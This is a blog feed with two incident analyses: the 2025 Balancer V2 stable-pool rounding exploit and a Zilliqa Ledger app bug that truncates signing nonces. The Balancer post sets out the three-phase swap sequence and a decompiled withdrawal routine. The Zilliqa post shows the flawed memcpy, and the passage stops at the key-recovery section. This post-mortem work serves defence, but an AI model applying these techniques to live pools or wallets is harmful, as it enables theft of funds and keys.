Bearby Blog - security The official blog of Bearby — a non-custodial, quantum-resistant, multi-chain wallet. Zola 2026-07-23T00:00:00+00:00 https://blog.bearby.io/tags/security/atom.xml Anatomy of the Balancer V2 ComposableStablePool Hack (Nov 2025) 2026-07-23T00:00:00+00:00 2026-07-23T00:00:00+00:00 Bearby https://blog.bearby.io/blog/balancer-v2-stable-pool-hack-2025/ <blockquote> <p><strong>TL;DR</strong> — On <strong>2025-11-03 07:46:47 UTC</strong>, a single contract-deployment transaction drained two Balancer V2 ComposableStablePools of <strong>≈19,239 ETH</strong> (${\approx $71\text{M}}$ at the Chainlink spot of $$3{,}709.52$). The constructor fired a <code>batchSwap</code> of <strong>226 swaps</strong> that resolved into three phases: a geometric BPT-exit cascade, a WETH↔osETH ping-pong that drives a token balance into the sub-100-wei regime, and a geometric BPT-mint cascade that re-mints the BPT for <strong>~2.5% of fair value</strong>. The root cause is a rounding inconsistency between the rate-based balance scaling (<code>mulDown</code>, floor division) and the invariant $D$ recomputation at high amplification. Every number below is read directly from mainnet with <code>cast</code>.</p> </blockquote> <p><img src="https://blog.bearby.io/blog/balancer-v2-stable-pool-hack-2025/cover.png" alt="Cover" /></p> <h2 id="the-evidence-verified-on-chain">The evidence, verified on-chain</h2> <table><thead><tr><th></th><th></th></tr></thead><tbody> <tr><td><strong>Theft tx</strong></td><td><a rel="external" href="https://etherscan.io/tx/0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742"><code>0x6ed07db1…23bc9742</code></a> — block <strong>23,717,397</strong>, <code>07:46:47 UTC</code>, status ✅</td></tr> <tr><td><strong>Extraction tx</strong></td><td><a rel="external" href="https://etherscan.io/tx/0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b48569"><code>0xd1552072…5b48569</code></a> — block <strong>23,717,404</strong>, <code>07:48:11 UTC</code> (84 s later)</td></tr> <tr><td><strong>Exploit contract</strong></td><td><a rel="external" href="https://etherscan.io/address/0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d"><code>0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d</code></a></td></tr> <tr><td><strong>Deployer (EOA)</strong></td><td><a rel="external" href="https://etherscan.io/address/0x506D1f9EFe24f0d47853aDca907EB8d89AE03207"><code>0x506D1f9EFe24f0d47853aDca907EB8d89AE03207</code></a></td></tr> <tr><td><strong>Recipient (EOA)</strong></td><td><a rel="external" href="https://etherscan.io/address/0xAa760D53541d8390074c61DEFeaba314675b8e3f"><code>0xAa760D53541d8390074c61DEFeaba314675b8e3f</code></a></td></tr> <tr><td><strong>Pool 1</strong></td><td><a rel="external" href="https://etherscan.io/address/0xdacf5fa19b1f720111609043ac67a9818262850c"><code>0xdacf5fa1…2850c</code></a> — <em>osETH/wETH</em> StablePool, $A = 200{,}000$</td></tr> <tr><td><strong>Pool 2</strong></td><td><a rel="external" href="https://etherscan.io/address/0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd"><code>0x93d19926…5f0bd</code></a> — <em>wstETH/WETH</em> StablePool, $A = 5{,}000{,}000$</td></tr> <tr><td><strong>Swap events in tx1</strong></td><td>226 (121 on pool 1, 105 on pool 2)</td></tr> <tr><td><strong>Fee transfers</strong></td><td>65 (to the Protocol Fees Collector)</td></tr> <tr><td><strong>Net stolen</strong></td><td>6,587 WETH + 6,851 osETH + 4,260 wstETH (+ 64.6 BPT scraps)</td></tr> </tbody></table> <p><img src="https://blog.bearby.io/blog/balancer-v2-stable-pool-hack-2025/timeline.svg" alt="Attack timeline: two transactions, 84 seconds apart" /></p> <p>Reproduce the headline figures yourself:</p> <pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="shellscript"><span class="giallo-l"><span>RPC</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">https://ethereum.publicnode.com</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># both transactions succeeded</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cast</span><span style="color: #A6E3A1;"> receipt</span><span style="color: #FAB387;"> 0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742</span><span style="color: #F5C2E7;"> \</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> --rpc-url</span><span> $RPC</span><span style="color: #94E2D5;"> |</span><span style="color: #89B4FA;font-style: italic;"> grep</span><span style="color: #A6E3A1;"> status</span><span style="color: #9399B2;font-style: italic;"> # -&gt; 1</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># the two pools</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cast</span><span style="color: #A6E3A1;"> call</span><span style="color: #FAB387;"> 0xdacf5fa19b1f720111609043ac67a9818262850c</span><span style="color: #A6E3A1;"> &quot;name()(string)&quot; --rpc-url</span><span> $RPC</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># -&gt; &quot;Balancer osETH/wETH StablePool&quot;</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ETH spot price at the attack block (Chainlink ETH/USD, 8 decimals)</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cast</span><span style="color: #A6E3A1;"> call</span><span style="color: #FAB387;"> 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419</span><span style="color: #F5C2E7;"> \</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> &quot;latestRoundData()(uint80,int256,uint256,uint256,uint80)&quot;</span><span style="color: #F5C2E7;"> \</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> --block</span><span style="color: #FAB387;"> 23717397</span><span style="color: #A6E3A1;"> --rpc-url</span><span> $RPC</span><span style="color: #9399B2;font-style: italic;"> # answer 370951870300 -&gt; $3,709.52</span></span></code></pre><h2 id="background-the-vault-and-composable-pools">Background: the Vault and "composable" pools</h2> <p>Balancer V2 centralizes all token custody in a single <strong>Vault</strong> (<a rel="external" href="https://etherscan.io/address/0xBA12222222228d8Ba445958a75a0704d566BF2C8"><code>0xBA12…BF2C8</code></a>). Pools are stateless pricing modules; the Vault moves the bytes. Two design choices matter here.</p> <p><strong>Internal balance.</strong> The Vault credits each account a per-token internal balance. A <code>batchSwap</code> settles <em>net</em> deltas against internal balance at the end — so a contract can trade in circles and walk away with the net surplus, never touching ERC-20 <code>transfer</code> until it withdraws.</p> <p><strong>Composable pools.</strong> A ComposableStablePool lists <em>its own BPT</em> as one of the pool's tokens. Joining/leaving is expressed as ordinary swaps against BPT, and the BPT "price" is derived from the invariant $D$:</p> <p>$$\text{BPT rate} ;=; \frac{D}{\text{totalSupply}}$$</p> <p>Both targeted pools are 3-token composable stables whose non-BPT tokens are <strong>liquid-staking derivatives (LSDs)</strong> carrying an exchange rate $&gt; 1$:</p> <table><thead><tr><th>Pool</th><th>Tokens</th><th>Rate-bearing token</th><th>Scaling factor (on-chain)</th></tr></thead><tbody> <tr><td>osETH/wETH</td><td>WETH, BPT, osETH</td><td>osETH</td><td><code>1.073369637857500505e18</code></td></tr> <tr><td>wstETH/WETH</td><td>wstETH, BPT, WETH</td><td>wstETH</td><td><code>1.239655095734259789e18</code></td></tr> </tbody></table> <p><img src="https://blog.bearby.io/blog/balancer-v2-stable-pool-hack-2025/topology.svg" alt="Actor topology and fund flow" /></p> <h2 id="the-vulnerability-muldown-eats-precision">The vulnerability: <code>mulDown</code> eats precision</h2> <p>Before the invariant runs, balances are <em>upscaled</em> by their scaling factor so rate-bearing tokens enter the math at true ETH parity:</p> <pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="solidity"><span class="giallo-l"><span style="color: #9399B2;font-style: italic;">// Balancer FixedPoint — rounds DOWN</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">function</span><span style="color: #89B4FA;font-style: italic;"> mulDown</span><span style="color: #9399B2;">(</span><span style="color: #CBA6F7;">uint256</span><span style="color: #EBA0AC;font-style: italic;"> a</span><span style="color: #9399B2;">,</span><span style="color: #CBA6F7;"> uint256</span><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> internal pure returns</span><span style="color: #9399B2;"> (</span><span style="color: #CBA6F7;">uint256</span><span style="color: #9399B2;">) {</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span style="color: #9399B2;"> (</span><span>a </span><span style="color: #94E2D5;">*</span><span> b</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> /</span><span> ONE</span><span style="color: #9399B2;">;</span><span style="color: #9399B2;font-style: italic;"> // ONE = 1e18</span></span> <span class="giallo-l"><span style="color: #9399B2;">}</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;">// upscale path (simplified)</span></span> <span class="giallo-l"><span>balances</span><span style="color: #9399B2;">[</span><span>i</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;font-style: italic;"> mulDown</span><span style="color: #9399B2;">(</span><span>balances</span><span style="color: #9399B2;">[</span><span>i</span><span style="color: #9399B2;">],</span><span> scalingFactors</span><span style="color: #9399B2;">[</span><span>i</span><span style="color: #9399B2;">]);</span></span></code></pre> <p>For an 18-decimal token with no rate, <code>scalingFactor = 1e18</code> and <code>mulDown(b, 1e18) = b</code> — <strong>exact, zero loss</strong>. But osETH's factor is <code>1.07337e18</code>. There, floor division discards a fraction of a wei:</p> <p>$$\tilde b ;=; \text{mulDown}(b,, f) ;=; \left\lfloor \frac{b \cdot f}{10^{18}} \right\rfloor, \qquad f_{\text{osETH}} = 1.073369637857500505 \cdot 10^{18}$$</p> <p>For a <strong>large</strong> balance this is rounding noise. For a balance of a <strong>few wei</strong> it is a 6–7% relative distortion:</p> <table><thead><tr><th style="text-align: right">$b$ (wei)</th><th style="text-align: right">$\lfloor b f /10^{18}\rfloor$</th><th style="text-align: right">true $bf/10^{18}$</th><th style="text-align: right">rel. loss</th></tr></thead><tbody> <tr><td style="text-align: right">1</td><td style="text-align: right">1</td><td style="text-align: right">1.0734</td><td style="text-align: right"><strong>7.34%</strong></td></tr> <tr><td style="text-align: right">8</td><td style="text-align: right">8</td><td style="text-align: right">8.5870</td><td style="text-align: right"><strong>6.83%</strong></td></tr> <tr><td style="text-align: right">9</td><td style="text-align: right">9</td><td style="text-align: right">9.6603</td><td style="text-align: right"><strong>6.83%</strong></td></tr> <tr><td style="text-align: right">17</td><td style="text-align: right">18</td><td style="text-align: right">18.2473</td><td style="text-align: right">1.36%</td></tr> <tr><td style="text-align: right">69</td><td style="text-align: right">74</td><td style="text-align: right">74.0625</td><td style="text-align: right">0.08%</td></tr> </tbody></table> <p><img src="https://blog.bearby.io/blog/balancer-v2-stable-pool-hack-2025/precision-loss.svg" alt="Scaling-factor rounding: mulDown precision loss at small balances" /></p> <p>A 7% distortion on 8 wei is still 8 wei — negligible against a multi-million-ETH $D$ <em>if the invariant were well-conditioned</em>. It is not.</p> <h2 id="why-the-distortion-becomes-catastrophic-amplification">Why the distortion becomes catastrophic: amplification</h2> <p>ComposableStablePools price with the Curve-style invariant. With amplification $\mathcal{A}$ and $n$ tokens, $D$ satisfies:</p> <p>$$\mathcal{A} n^{n} \sum_{i} x_i ;+; D ;=; \mathcal{A} n^{n} D ;+; \frac{D^{,n+1}}{n^{n}\prod_{i} x_i}$$</p> <p>solved by Newton iteration. Two facts conspire:</p> <ol> <li><strong>High $\mathcal{A}$ flattens the curve.</strong> As $\mathcal{A} \to \infty$, the surface approaches the hyperplane $D \approx \sum x_i$ and the iteration becomes increasingly sensitive to the smallest balances.</li> <li><strong>A near-zero balance is a singularity.</strong> The term $D^{,n+1}/\prod x_i$ blows up as any $x_i \to 0$. With one balance pinned at a handful of wei <em>and</em> a 7% upscale rounding error layered on top, the iteration converges to a $D$ that <strong>systematically understates the true pool value</strong> — and therefore understates the BPT rate $D/\text{supply}$.</li> </ol> <p>The pool recomputes $D$ fresh on every swap. So the attack is not "steal 7% of 8 wei" — it is <strong>"drive a balance into the ill-conditioned regime, then trade against a BPT price computed from a broken $D$."</strong></p> <h2 id="forensic-reconstruction-the-226-swaps">Forensic reconstruction: the 226 swaps</h2> <p>Decoding the <code>Swap</code> events of tx1 reveals the constructor did <strong>not</strong> run "65 identical cycles." It ran a precise three-phase program per pool. Pool 1 (121 swaps):</p> <p><img src="https://blog.bearby.io/blog/balancer-v2-stable-pool-hack-2025/attack-phases.svg" alt="The three-phase batchSwap structure" /></p> <p><strong>Phase 1 — BPT-exit cascade (swaps 0–21).</strong> Twenty-two swaps, alternating <code>BPT→WETH</code> and <code>BPT→osETH</code>, each <strong>÷100</strong> of the previous in its series:</p> <p>$$5{,}258.03 \xrightarrow{\div100} 52.58 \xrightarrow{\div100} 0.526 \xrightarrow{\div100} \cdots$$</p> <p>A geometric series with ratio $r = 0.01$. Sum burned:</p> <p>$$\sum_{k=0}^{10} a,r^{k} = \frac{a}{1-r},\qquad a_{\text{WETH}} = 5258.03,;; a_{\text{osETH}} = 6472.01$$</p> <p>$$\Rightarrow \text{BPT burned} \approx \frac{5258.03 + 6472.01}{0.99} \approx 11{,}848 \text{ BPT}$$</p> <p>In return the contract receives <strong>4,922 WETH + 6,852 osETH</strong> — a near-fair exit at the <em>pre-distortion</em> BPT rate (≈ 1 ETH/BPT). This is the "loan": real value pulled out of the pool.</p> <p><strong>Phase 2 — rounding-trigger ping-pong (swaps 22–111).</strong> Thirty repetitions of a 3-swap cycle: <code>WETH→osETH</code> (large), <code>WETH→osETH</code> (<strong>≈ 17–69 wei</strong>), <code>osETH→WETH</code>. The micro-swap is the scalpel — 31 of them land at exactly <strong>17 wei</strong> of osETH output, nudging the pool's osETH balance into the sub-100-wei zone where the upscale floor and the singularity collude.</p> <p><strong>Phase 3 — BPT-mint cascade (swaps 112–120).</strong> Nine swaps, <code>{WETH,osETH}→BPT</code>, outputs being exact powers of ten (<code>1e4, 1e7, …, 1e22</code> wei of BPT), each step <strong>×1000</strong>. BPT is now priced from the broken $D$:</p> <p>$$\frac{\text{underlying paid}}{\text{BPT minted}} ;\xrightarrow{\text{phase 3}}; \approx 0.025;\text{ETH/BPT} \quad\text{vs.}\quad \underbrace{\approx 1.04;\text{ETH/BPT}}_{\text{phase 1 rate}} ;; (\approx 41\times \text{ collapse})$$</p> <p>The contract re-mints <strong>11,892 BPT for only 299 WETH + 0.46 osETH</strong> — roughly <strong>2.5% of the Phase-1 rate</strong>. The geometric exit of Phase 1 is "repaid" with a near-free geometric mint of Phase 3.</p> <p><strong>Net.</strong> BPT is roughly flat ($-44$ BPT), but the underlying from Phase 1 is never returned:</p> <p>$$\underbrace{4{,}922\text{ WETH} + 6{,}852\text{ osETH}}<em>{\text{phase 1 (taken)}} ;-; \underbrace{299\text{ WETH} + 0.5\text{ osETH}}</em>{\text{phase 3 (paid)}} ;=; 4{,}623\text{ WETH} + 6{,}851\text{ osETH}$$</p> <p>Pool 2 (wstETH/WETH, 105 swaps) repeats the same program, yielding <strong>1,964 WETH + 4,260 wstETH</strong>. The accounting closes exactly against the <code>InternalBalanceChanged</code> events.</p> <h2 id="the-exploit-contract">The exploit contract</h2> <p>The deployed bytecode decompiled (via <code>heimdall-rs</code>) to a contract with <strong>two entry points</strong> and a constructor that does all the stealing:</p> <ul> <li><strong>Constructor</strong> — builds the <code>batchSwap</code> calldata in memory (the 226 steps are <em>computed</em>, not stored literally) and calls <code>vault.batchSwap(...)</code> against both pools, crediting the surplus to its own internal balance.</li> <li><strong><code>0x8a4f75d6</code></strong> — the withdrawal. Gated by <code>require(msg.sender == _owner)</code>, it iterates the target pools, reads <code>getInternalBalance</code>, and pushes everything to the recipient via <code>manageUserBalance</code>:</li> </ul> <pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="solidity"><span class="giallo-l"><span style="color: #9399B2;font-style: italic;">// decompiled &amp; cleaned — selector 0x8a4f75d6(address[] pools)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">require</span><span style="color: #9399B2;">(</span><span>msg.sender</span><span style="color: #94E2D5;"> ==</span><span> _owner</span><span style="color: #9399B2;">);</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">for</span><span style="color: #9399B2;"> (</span><span>pool in pools</span><span style="color: #9399B2;">) {</span></span> <span class="giallo-l"><span style="color: #9399B2;"> (</span><span>tokens</span><span style="color: #9399B2;">,)</span><span style="color: #94E2D5;"> =</span><span> vault</span><span style="color: #94E2D5;">.</span><span style="color: #89B4FA;font-style: italic;">getPoolTokens</span><span style="color: #9399B2;">(</span><span>pool</span><span style="color: #94E2D5;">.</span><span style="color: #89B4FA;font-style: italic;">getPoolId</span><span style="color: #9399B2;">());</span></span> <span class="giallo-l"><span> bals </span><span style="color: #94E2D5;">=</span><span> vault</span><span style="color: #94E2D5;">.</span><span style="color: #89B4FA;font-style: italic;">getInternalBalance</span><span style="color: #9399B2;">(</span><span style="color: #CBA6F7;">address</span><span style="color: #9399B2;">(</span><span style="color: #F38BA8;">this</span><span style="color: #9399B2;">),</span><span> tokens</span><span style="color: #9399B2;">);</span></span> <span class="giallo-l"><span> ops </span><span style="color: #94E2D5;">=</span><span style="color: #9399B2;"> [</span><span style="color: #89B4FA;font-style: italic;">UserBalanceOp</span><span style="color: #9399B2;">(</span><span>WITHDRAW</span><span style="color: #9399B2;">,</span><span> tok</span><span style="color: #9399B2;">,</span><span> bal</span><span style="color: #9399B2;">,</span><span style="color: #F38BA8;"> this</span><span style="color: #9399B2;">,</span><span> RECIPIENT</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> for</span><span style="color: #94E2D5;"> ...</span><span style="color: #9399B2;">];</span></span> <span class="giallo-l"><span> vault</span><span style="color: #94E2D5;">.</span><span style="color: #89B4FA;font-style: italic;">manageUserBalance</span><span style="color: #9399B2;">(</span><span>ops</span><span style="color: #9399B2;">);</span></span> <span class="giallo-l"><span style="color: #9399B2;">}</span></span></code></pre> <p>The tx2 calldata confirms it verbatim — selector <code>0x8a4f75d6</code> followed by the two pool addresses:</p> <pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="plain"><span class="giallo-l"><span>0x8a4f75d6</span></span> <span class="giallo-l"><span> 0000...0020 // offset</span></span> <span class="giallo-l"><span> 0000...0002 // array length = 2</span></span> <span class="giallo-l"><span> dacf5fa19b1f720111609043ac67a9818262850c // pool 1</span></span> <span class="giallo-l"><span> 93d199263632a4ef4bb438f1feb99e57b4b5f0bd // pool 2</span></span></code></pre> <p>The constructor is the entire attack surface. No privileged function, no re-entrancy, no oracle manipulation — pure arithmetic, committed in the deploy transaction.</p> <h2 id="the-loot">The loot</h2> <p>Reading the six <code>InternalBalanceChanged(address,address,int256)</code> events (topic <code>0x18e1ea41…</code>) of tx1:</p> <table><thead><tr><th>Pool</th><th>Token</th><th style="text-align: right">Δ (exact)</th></tr></thead><tbody> <tr><td>osETH/wETH</td><td>WETH</td><td style="text-align: right">+4,623.6015</td></tr> <tr><td>osETH/wETH</td><td>osETH</td><td style="text-align: right">+6,851.1230</td></tr> <tr><td>wstETH/WETH</td><td>WETH</td><td style="text-align: right">+1,963.8388</td></tr> <tr><td>wstETH/WETH</td><td>wstETH</td><td style="text-align: right">+4,259.8435</td></tr> </tbody></table> <p><img src="https://blog.bearby.io/blog/balancer-v2-stable-pool-hack-2025/loot.svg" alt="Stolen funds breakdown" /></p> <p>Converting the LSDs to ETH at their on-chain rates ($1.0756$ for osETH, $1.2400$ for wstETH):</p> <p>$$6{,}587.44 ;+; 6{,}851.12 \times 1.0756 ;+; 4{,}259.84 \times 1.2400 ;\approx; 19{,}239 \text{ ETH}$$</p> <p>At the Chainlink spot of $$3{,}709.52$/ETH that is <strong>≈ $71M</strong>. (Press coverage rounded to ~$63M using face-value LSD accounting and a slightly lower ETH print.)</p> <h2 id="why-audits-missed-it">Why audits missed it</h2> <p>The bug is invisible to every test that checks a swap in isolation — a single swap's rounding is sub-wei and within tolerance. It only manifests as a <strong>cumulative, adversarial state trajectory</strong>: a balance driven to the ill-conditioned boundary <em>and then</em> a swap priced off the resulting $D$. Three blind spots aligned:</p> <ol> <li><strong>Unit tests check correctness, not trajectory.</strong> "Does <code>onSwap</code> return the right amount for these balances?" passes. "Can a 226-step adversarial <code>batchSwap</code> drive $D$ off-conservation?" is never asked.</li> <li><strong>Amplification is treated as a tuning knob.</strong> High $\mathcal{A}$ feels safer ("tighter peg") but sharpens the singularity at $x_i \to 0$.</li> <li><strong>The composable BPT makes joins/exits cheap to spin.</strong> Flash-exit → distort → flash-mint is a one-transaction round trip with no capital requirement.</li> </ol> <p>The honest fix is not "round more carefully" — it is to <strong>assert invariant conservation</strong> after every swap and revert if $D$ moves outside a tolerance band, plus bounds-check minimum balances before the Newton loop.</p> <h2 id="reproduce-everything">Reproduce everything</h2> <pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="shellscript"><span class="giallo-l"><span>RPC</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">https://ethereum.publicnode.com</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># 1. confirm the contract exists and is the attacker</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cast</span><span style="color: #A6E3A1;"> code</span><span style="color: #FAB387;"> 0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d</span><span style="color: #A6E3A1;"> --rpc-url</span><span> $RPC</span><span style="color: #94E2D5;"> |</span><span style="color: #89B4FA;font-style: italic;"> wc</span><span style="color: #A6E3A1;"> -c</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># 2. scaling factors (the rounding source)</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cast</span><span style="color: #A6E3A1;"> call</span><span style="color: #FAB387;"> 0xdacf5fa19b1f720111609043ac67a9818262850c</span><span style="color: #F5C2E7;"> \</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> &quot;getScalingFactors()(uint256[])&quot; --rpc-url</span><span> $RPC</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># 3. amplification</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cast</span><span style="color: #A6E3A1;"> call</span><span style="color: #FAB387;"> 0xdacf5fa19b1f720111609043ac67a9818262850c</span><span style="color: #F5C2E7;"> \</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> &quot;getAmplificationParameter()&quot; --rpc-url</span><span> $RPC</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># 4. the stolen amounts — decode the receipt logs</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cast</span><span style="color: #A6E3A1;"> receipt</span><span style="color: #FAB387;"> 0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742</span><span style="color: #F5C2E7;"> \</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> --rpc-url</span><span> $RPC</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># 5. decompile the bytecode yourself</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cast</span><span style="color: #A6E3A1;"> code</span><span style="color: #FAB387;"> 0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d</span><span style="color: #A6E3A1;"> --rpc-url</span><span> $RPC</span><span style="color: #94E2D5;"> &gt;</span><span style="color: #A6E3A1;"> exploit.hex</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">asm_to_sol</span><span style="color: #A6E3A1;"> exploit.hex</span></span></code></pre> <p>The exploit is a masterclass in <em>small-errors-compounding</em>: a 7% rounding on 8 wei, amplified by a flat-curve singularity, repeated atomically until a $D$ that is "close enough" per-swap becomes catastrophically wrong in aggregate. The contract did nothing illegal — it called public, audited functions, in the order they were designed for, with parameters they were designed to accept. The math did the rest.</p> Zilliqa Ledger App Hack (2026) 2026-07-22T00:00:00+00:00 2026-07-22T00:00:00+00:00 Bearby https://blog.bearby.io/blog/zilliqa-ledger-app-hack-2026/ <blockquote> <p><strong>TL;DR</strong> — <code>os_memcpy(T-&gt;K, nonce, 32)</code> copies the <strong>wrong</strong> 32 bytes out of a 40-byte buffer, zeroing the top 64 bits of every Schnorr nonce. Each signature leaks $k &lt; 2^{192}$. An LLL lattice attack (HNP) recovers $d$ from $\geq 4$ public $(r, s)$ pairs. Flaw present since commit <code>61dda37</code> (Aug 2019). Patching cannot undo on-chain signatures.</p> </blockquote> <p><img src="/blog/zilliqa-ledger-app-hack-2026/nonce-truncation.jpg" alt="Buffer layout: how os_memcpy truncates the nonce from 256 to 192 bits" /></p> <h2 id="the-signing-scheme">The signing scheme</h2> <p>Zilliqa uses Schnorr over secp256k1 ($n \approx 2^{256}$, $G$ the base point). For private key $d$, public key $P = dG$, message $m$:</p> <p>$$Q = kG \qquad r = H_2!\big(\overline{Q},|,\overline{P},|,m\big) \bmod n \qquad s = (k - rd) \bmod n$$</p> <p>where $\overline{(\cdot)}$ denotes compressed encoding ($\texttt{02/03}|x$). Signature is $(r, s) \in \mathbb{Z}_n^2$ — 64 bytes.</p> <p>Security reduces entirely to nonce secrecy. If $k$ is known, $d = (k - s) \cdot r^{-1} \bmod n$. If <em>part</em> of $k$ is known across multiple signatures, the <strong>Hidden Number Problem</strong> applies.</p> <h2 id="the-bug-nonce-truncation">The bug: nonce truncation</h2> <h3 id="vulnerable-code">Vulnerable code</h3> <p>From <code>src/schnorr.c</code>, function <code>zil_ecschnorr_sign_init</code> (commit <code>61dda37</code>, Aug 2019):</p> <pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="c"><span class="giallo-l"><span style="color: #9399B2;font-style: italic;">//generate random, pick a few extra bytes for better security.</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">unsigned char</span><span> nonce</span><span style="color: #9399B2;">[</span><span>size</span><span style="color: #94E2D5;">+</span><span style="color: #FAB387;">8</span><span style="color: #9399B2;">];</span><span style="color: #9399B2;font-style: italic;"> // 40 bytes</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cx_rng</span><span style="color: #9399B2;">(</span><span>nonce</span><span style="color: #9399B2;">,</span><span> size</span><span style="color: #94E2D5;">+</span><span style="color: #FAB387;">8</span><span style="color: #9399B2;">);</span><span style="color: #9399B2;font-style: italic;"> // fill 40 bytes</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cx_math_modm</span><span style="color: #9399B2;">(</span><span>nonce</span><span style="color: #9399B2;">,</span><span> size</span><span style="color: #94E2D5;">+</span><span style="color: #FAB387;">8</span><span style="color: #9399B2;">,</span><span style="color: #9399B2;font-style: italic;"> // reduce 40-byte value</span></span> <span class="giallo-l"><span style="color: #9399B2;"> (</span><span style="color: #CBA6F7;">unsigned char</span><span style="color: #94E2D5;"> *</span><span style="color: #9399B2;">)</span><span>domain</span><span style="color: #94E2D5;">-&gt;</span><span style="color: #EBA0AC;font-style: italic;">n</span><span style="color: #9399B2;">,</span><span> size</span><span style="color: #9399B2;">);</span><span style="color: #9399B2;font-style: italic;"> // modulo 32-byte n</span></span> <span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">os_memcpy</span><span style="color: #9399B2;">(</span><span>T</span><span style="color: #94E2D5;">-&gt;</span><span style="color: #EBA0AC;font-style: italic;">K</span><span style="color: #9399B2;">,</span><span> nonce</span><span style="color: #9399B2;">,</span><span> size</span><span style="color: #9399B2;">);</span><span style="color: #9399B2;font-style: italic;"> // ← BUG: copies bytes 0..31</span></span></code></pre><h3 id="buffer-layout">Buffer layout</h3> <p><code>cx_math_modm(v, len_v, n, len_n)</code> reduces a <code>len_v</code>-byte big-endian integer modulo <code>len_n</code>-byte $n$, storing the result <strong>right-aligned</strong> in the <code>len_v</code>-byte buffer. With <code>len_v = 40</code>, <code>len_n = 32</code>:</p> <p>$$\underbrace{b_0; b_1; \cdots; b_{39}}<em>{\text{40 random bytes}} \xrightarrow{;\bmod; n;} \underbrace{\overbrace{00;00;\cdots;00}^{8 \text{ bytes}};\overbrace{v_0;v_1;\cdots;v</em>{31}}^{32 \text{ bytes}}}_{\text{40-byte buffer, right-aligned}}$$</p> <p>Let $v = \texttt{cx_rng}(40) \bmod n$ (the correct 256-bit nonce). The buffer holds $v$ right-padded: bytes $[0{,}..{,}7] = 0$, bytes $[8{,}..{,}39] = v$.</p> <p><code>os_memcpy(T-&gt;K, nonce, 32)</code> copies bytes $[0{,}..{,}31]$:</p> <p>$$\texttt{T.K} = \underbrace{00;\cdots;00}<em>{8} ;|; v_0;v_1;\cdots;v</em>{23}$$</p> <p>As a 256-bit integer:</p> <p>$$k = \sum_{i=0}^{23} v_i \cdot 2^{8(23-i)} = \left\lfloor \frac{v}{2^{64}} \right\rfloor$$</p> <p>Since $v &lt; n &lt; 2^{256}$:</p> <p>$$\boxed{k &lt; \frac{2^{256}}{2^{64}} = 2^{192}}$$</p> <p><strong>Every nonce has 64 zero MSBs.</strong> The bottom 64 bits of $v$ (bytes $v_{24{,}..{,}31}$) are silently discarded.</p> <h3 id="the-fix">The fix</h3> <pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="c"><span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">os_memcpy</span><span style="color: #9399B2;">(</span><span>T</span><span style="color: #94E2D5;">-&gt;</span><span style="color: #EBA0AC;font-style: italic;">K</span><span style="color: #9399B2;">,</span><span> nonce </span><span style="color: #94E2D5;">+</span><span style="color: #FAB387;"> 8</span><span style="color: #9399B2;">,</span><span> size</span><span style="color: #9399B2;">);</span><span style="color: #9399B2;font-style: italic;"> // take LAST 32 bytes: v_0..v_31</span></span></code></pre><h2 id="from-truncation-to-key-recovery">From truncation to key 